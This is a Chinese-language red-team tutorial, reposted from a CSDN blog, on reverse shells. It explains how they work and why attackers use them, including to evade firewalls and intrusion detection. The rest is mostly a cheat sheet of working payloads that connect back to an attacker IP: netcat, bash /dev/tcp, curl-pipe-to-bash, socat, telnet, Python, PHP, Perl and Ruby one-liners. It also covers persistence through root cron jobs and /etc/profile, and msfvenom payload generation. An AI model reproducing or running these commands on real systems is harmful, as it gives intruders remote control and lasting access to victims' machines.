// 红队渗透 · 2024-12-22

一文掌握反弹Shell的原理和用法

什么是反弹 Shell

反弹 Shell 是指目标主机主动向攻击者的主机发起连接,然后攻击者利用这个连接与目标主机进行交互。与之相对的是绑定 Shell,它是在目标主机上开放一个监听端口,攻击者直接连接这个端口。


反弹 Shell 的工作原理

  1. 攻击者监听:攻击者在自己的机器上打开一个监听端口,等待目标主机连接。
  2. 目标主机发起连接:通过漏洞利用或命令注入,攻击者让目标主机执行一条指令,这条指令会主动连接攻击者的 IP 和端口。
  3. 建立通信通道:连接成功后,目标主机将自己的命令行输入输出通过这个通道传递给攻击者。
  4. 攻击者执行命令:攻击者通过这个通道直接操作目标主机。

简单点说:A 攻击 B,A 监听自己的某个端口,B 主动访问 A 的那个端口,在 A 上对 B 进行命令执行。谁攻击谁监听自己,谁被攻击谁主动访问。


为什么要反弹 Shell

  1. 目标主机位于内网(NAT 环境)或防火墙后面,攻击者无法直接访问目标主机的开放端口。
  2. 目标主机有防火墙限制入站流量,而反弹 Shell 利用目标主机主动发起出站连接,规避限制。
  3. 目标主机没有固定 IP,动态分配的 IP(如内网 DHCP 分配)增加了直接连接的难度。
  4. 规避入侵检测系统(IDS)。
  5. 降低攻击者暴露自身位置的风险。

常见反弹 Shell 方法

1. 利用 Netcat 反弹 Shell

攻击机:开启本地监听

nc -lvvp 11451

目标机:主动连接攻击机

nc 121.xxx.xxx.xxx 11451 -e /bin/bash

2. 利用 Bash 反弹 Shell

攻击机:开启本地监听

nc -lvvp 11451

目标机:主动连接攻击机

bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1

或者:

bash -c 'bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1'

3. Curl 配合 Bash 反弹 Shell

在攻击机 VPS 的 Web 目录中创建 index 文件:

bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1

开启监听:

nc -lvvp 11451

目标机执行命令:

curl 121.xxx.xxx.xxx | bash

4. 写入定时任务实现反弹 Shell

写入内容:

*/1 * * * * /bin/bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1

文件路径(依据系统区分):

  • CentOS 系列:/var/spool/cron/root
  • Debian/Ubuntu 系列:/var/spool/cron/crontabs/root

5. 写入 /etc/profile 文件

写入命令:

/bin/bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1 &

6. 利用 Socat 反弹 Shell

攻击机:开启监听

socat TCP-LISTEN:11451 -

目标机:主动连接

socat tcp-connect:121.xxx.xxx.xxx:11451 exec:'bash -li',pty,stderr,setsid,sigint,sane

7. 利用 Telnet 反弹 Shell

方法一:目标机执行

mknod a p; telnet 121.xxx.xxx.xxx 11451 0<a | /bin/bash 1>a

方法二:双监听 攻击机开启两个监听:

nc -lvvp 11451
nc -lvvp 19198

目标机执行:

telnet 121.xxx.xxx.xxx 11451 | /bin/bash | telnet 121.xxx.xxx.xxx 19198

8. 使用脚本反弹 Shell

Python:

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("121.xxx.xxx.xxx",11451));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

PHP:

php -r '$sock=fsockopen("121.xxx.xxx.xxx",11451);
exec("/bin/sh -i <&3 >&3 2>&3");'

Perl:

perl -e 'use Socket;$i="121.xxx.xxx.xxx";$p=11451;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))) {
open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby:

ruby -rsocket -e 'c=TCPSocket.new("121.xxx.xxx.xxx","11451");
while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

9. 使用 Metasploit 生成反弹 Shell

列出可用 Payload:

msfvenom -l payloads | grep 'cmd/unix/reverse'

生成指定 Payload:

msfvenom -p cmd/unix/reverse_python LHOST=121.xxx.xxx.xxx LPORT=11451 -f raw

原文 https://blog.csdn.net/2301_79518550/article/details/144654435